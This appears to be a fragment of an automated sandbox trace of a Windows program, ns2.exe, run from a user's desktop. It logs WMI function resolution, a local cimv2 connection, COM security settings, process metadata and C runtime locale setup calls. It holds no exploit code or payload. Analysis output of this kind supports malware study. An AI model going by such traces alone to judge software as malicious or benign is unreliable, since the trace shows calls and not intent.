lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmi\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 14 [0124.224] GetProcAddress (hModule=0x6c1a0000, lpProcName="PutInstanceWmi") returned 0x6c1a77c0 [0124.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x8bce91c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0124.242] GetProcAddress (hModule=0x6c1a0000, lpProcName="PutClassWmi") returned 0x6c1a76f0 [0124.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x8bce910, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 24 [0124.244] GetProcAddress (hModule=0x6c1a0000, lpProcName="CloneEnumWbemClassObject") returned 0x6c1a6c40 [0124.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x8bce918, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 16 [0124.267] GetProcAddress (hModule=0x6c1a0000, lpProcName="ConnectServerWmi") returned 0x6c1a6d40 [0124.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x8bce91c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo\x045\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 12 [0124.286] GetProcAddress (hModule=0x6c1a0000, lpProcName="GetErrorInfo") returned 0x6c1a7330 [0124.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x8bce920, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initialize\x8fs:\x1eP", lpUsedDefaultChar=0x0) returned 10 [0124.303] GetProcAddress (hModule=0x6c1a0000, lpProcName="Initialize") returned 0x6c1a75e0 [0124.321] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x8bce8d0 | out: phkResult=0x8bce8d0*=0x940) returned 0x0 [0124.323] RegQueryValueExW (in: hKey=0x940, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x8bce8ec, lpData=0x0, lpcbData=0x8bce8e8*=0x0 | out: lpType=0x8bce8ec*=0x0, lpData=0x0, lpcbData=0x8bce8e8*=0x0) returned 0x2 [0124.323] RegCloseKey (hKey=0x940) returned 0x0 [0124.323] CoCreateInstance (in: rclsid=0x6c1a36ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6c1a370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x8bcf040 | out: ppv=0x8bcf040*=0x79fde00) returned 0x0 [0124.323] WbemLocator:IWbemLocator:ConnectServer (in: This=0x79fde00, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x8bcf0e4 | out: ppNamespace=0x8bcf0e4*=0x7743150) returned 0x0 [0126.198] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x6c1a352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bcef68 | out: ppvObject=0x8bcef68*=0x780af38) returned 0x0 [0126.198] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x780af38, pProxy=0x7743150, pAuthnSvc=0x8bcefb8, pAuthzSvc=0x8bcefb4, pServerPrincName=0x8bcefac, pAuthnLevel=0x8bcefb0, pImpLevel=0x8bcefa0, pAuthInfo=0x8bcefa4, pCapabilites=0x8bcefa8 | out: pAuthnSvc=0x8bcefb8*=0xa, pAuthzSvc=0x8bcefb4*=0x0, pServerPrincName=0x8bcefac, pAuthnLevel=0x8bcefb0*=0x6, pImpLevel=0x8bcefa0*=0x2, pAuthInfo=0x8bcefa4, pCapabilites=0x8bcefa8*=0x1) returned 0x0 [0126.198] WbemLocator:IUnknown:Release (This=0x780af38) returned 0x1 [0126.198] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x6c1a351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bcef5c | out: ppvObject=0x8bcef5c*=0x780af5c) returned 0x0 [0126.198] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x6c1a352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bcef48 | out: ppvObject=0x8bcef48*=0x780af38) returned 0x0 [0126.198] WbemLocator:IClientSecurity:SetBlanket (This=0x780af38, pProxy=0x7743150, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.198] WbemLocator:IUnknown:Release (This=0x780af38) returned 0x2 [0126.198] WbemLocator:IUnknown:Release (This=0x780af5c) returned 0x1 [0126.198] CoTaskMemFree (pv=0x797fce0) [0126.199] WbemLocator:IUnknown:AddRef (This=0x7743150) returned 0x2 [0126.199] WbemLocator:IUnknown:Release (This=0x79fde00) returned 0x0 [0126.199] CoGetContextToken (in: pToken=0x8bce488 | out: pToken=0x8bce488) returned 0x0 [0126.200] CoGetContextToken (in: pToken=0x8bce890 | out: pToken=0x8bce890) returned 0x0 [0126.200] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x72e502b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bce828 | out: ppvObject=0x8bce828*=0x780af40) returned 0x0 [0126.200] WbemLocator:IRpcOptions:Query (in: This=0x780af40, pPrx=0x31c9d30, dwProperty=2, pdwValue=0x8bce928 | out: pdwValue=0x8bce928) returned 0x80004002 [0126.200] WbemLocator:IUnknown:Release (This=0x780af40) returned 0x2 [0126.200] CoGetContextToken (in: pToken=0x8bcee68 | out: pToken=0x8bcee68) returned 0x0 [0126.200] CoGetContextToken (in: pToken=0x8bcedc8 | out: pToken=0x8bcedc8) returned 0x0 [0126.200] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x8bcee98*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8bced60 | out: ppvObject=0x8bced60*=0x7743150) returned 0x0 [0126.200] WbemLocator:IUnknown:Release (This=0x7743150) returned 0x2 [0126.200] SysStringLen (param_1=0x0) returned 0x0 [0126.201] CoUninitialize () Thread: id = 237 os_tid = 0x61c [0126.243] CoGetContextToken (in: pToken=0x8c4ee1c | out: pToken=0x8c4ee1c) returned 0x0 [0126.243] CoGetContextToken (in: pToken=0x8c4ee0c | out: pToken=0x8c4ee0c) returned 0x0 [0126.244] CoGetMarshalSizeMax (in: pulSize=0x8c4edc8, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x31c9d30, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x8c4edc8) returned 0x0 [0126.244] CoMarshalInterface (pStm=0x778c3e0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x31c9d30, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 238 os_tid = 0x528 [0126.273] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x31bb4cc*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8ccefe4 | out: ppvObject=0x8ccefe4*=0x7743150) returned 0x0 [0126.276] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x6c074cd4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8ccef1c | out: ppvObject=0x8ccef1c*=0x7743150) returned 0x0 [0126.276] WbemLocator:IUnknown:QueryInterface (in: This=0x7743150, riid=0x6c074cd4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x8ccee98 | out: ppvObject=0x8ccee98*=0x7743150) returned 0x0 Thread: id = 269 os_tid = 0xd98 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x31c27000" os_pid = "0x12e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x1368" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0x13d4 Thread: id = 88 os_tid = 0x1e8 Thread: id = 89 os_tid = 0x12bc Thread: id = 91 os_tid = 0x46c Thread: id = 92 os_tid = 0xe40 Thread: id = 272 os_tid = 0xa30 Thread: id = 273 os_tid = 0xdd8 Process: id = "9" image_name = "ns2.exe" filename = "c:\\users\\fd1hvy\\desktop\\ns2.exe" page_root = "0x28d4c000" os_pid = "0xe48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x190" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\NS2.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 118 os_tid = 0xcd8 [0121.996] GetProcessHeap () returned 0x4b0000 [0122.002] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0122.002] GetProcAddress (hModule=0x77190000, lpProcName="FlsAlloc") returned 0x771a4ae0 [0122.002] GetProcAddress (hModule=0x77190000, lpProcName="FlsFree") returned 0x771a4b00 [0122.002] GetProcAddress (hModule=0x77190000, lpProcName="FlsGetValue") returned 0x771a4b20 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="FlsSetValue") returned 0x771a4b40 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="InitializeCriticalSectionEx") returned 0x771febc0 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="CreateEventExW") returned 0x771feb20 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="CreateSemaphoreExW") returned 0x771feb80 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="SetThreadStackGuarantee") returned 0x771a6700 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="CreateThreadpoolTimer") returned 0x771a6d30 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="SetThreadpoolTimer") returned 0x7756d7c0 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7756b840 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="CloseThreadpoolTimer") returned 0x7756b740 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="CreateThreadpoolWait") returned 0x771a6d70 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="SetThreadpoolWait") returned 0x7756c0b0 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="CloseThreadpoolWait") returned 0x7756be10 [0122.003] GetProcAddress (hModule=0x77190000, lpProcName="FlushProcessWriteBuffers") returned 0x77592b20 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77588e50 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetCurrentProcessorNumber") returned 0x775852f0 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetLogicalProcessorInformation") returned 0x771a71b0 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="CreateSymbolicLinkW") returned 0x771a4510 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="SetDefaultDllDirectories") returned 0x7464d900 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="EnumSystemLocalesEx") returned 0x771a49a0 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="CompareStringEx") returned 0x771a7050 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetDateFormatEx") returned 0x771a7760 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetLocaleInfoEx") returned 0x771a7190 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetTimeFormatEx") returned 0x771a7780 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetUserDefaultLocaleName") returned 0x771a72c0 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="IsValidLocaleName") returned 0x771a7440 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="LCMapStringEx") returned 0x771a7480 [0122.004] GetProcAddress (hModule=0x77190000, lpProcName="GetCurrentPackageId") returned 0x745de260 [0122.005] GetProcAddress (hModule=0x77190000, lpProcName="GetTickCount64") returned 0x771a0db0 [0122.005] GetProcAddress (hModule=0x77190000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0122.005] GetProcAddress (hModule=0x77190000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0122.005] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x3bc) returned 0x4c8bf8 [0122.005] GetCurrentThreadId () returned 0xcd8 [0122.005] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c6680 [0122.005] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x800) returned 0x4cb6f0 [0122.005] GetStartupInfoW (in: lpStartupInfo=0x19fed0 | out: lpStartupInfo=0x19fed0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\NS2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x403fb1, hStdOutput=0x91c27a1d, hStdError=0x403093)) [0122.005] GetStdHandle (nStdHandle=0xfffffff6) returned 0x8c [0122.005] GetFileType (hFile=0x8c) returned 0x2 [0122.005] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0122.005] GetFileType (hFile=0x90) returned 0x2 [0122.005] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0122.005] GetFileType (hFile=0x94) returned 0x2 [0122.005] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\NS2.exe\" " [0122.006] GetEnvironmentStringsW () returned 0x4cbef8* [0122.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1651, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1651 [0122.006] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x673) returned 0x4ccbe8 [0122.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1651, lpMultiByteStr=0x4ccbe8, cbMultiByte=1651, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1651 [0122.006] FreeEnvironmentStringsW (penv=0x4cbef8) returned 1 [0122.006] GetLastError () returned 0x7f [0122.006] SetLastError (dwErrCode=0x7f) [0122.006] GetLastError () returned 0x7f [0122.006] SetLastError (dwErrCode=0x7f) [0122.006] GetLastError () returned 0x7f [0122.006] SetLastError (dwErrCode=0x7f) [0122.006] GetACP () returned 0x4e4 [0122.006] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x220) returned 0x4ca180 [0122.006] GetLastError () returned 0x7f [0122.006] SetLastError (dwErrCode=0x7f) [0122.006] IsValidCodePage (CodePage=0x4e4) returned 1 [0122.006] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fed4 | out: lpCPInfo=0x19fed4) returned 1 [0122.006] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f99c | out: lpCPInfo=0x19f99c) returned 1 [0122.006] GetLastError () returned 0x7f [0122.006] SetLastError (dwErrCode=0x7f) [0122.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0122.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x19f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0122.006] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x19f9b0 | out: lpCharType=0x19f9b0) returned 1 [0122.006] GetLastError () returned 0x7f [0122.007] SetLastError (dwErrCode=0x7f) [0122.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0122.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x19f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0122.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0122.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x19f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0122.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x19fcb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9d{Â\x91ìþ\x19", lpUsedDefaultChar=0x0) returned 256 [0122.007] GetLastError () returned 0x7f [0122.007] SetLastError (dwErrCode=0x7f) [0122.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0122.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x19f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 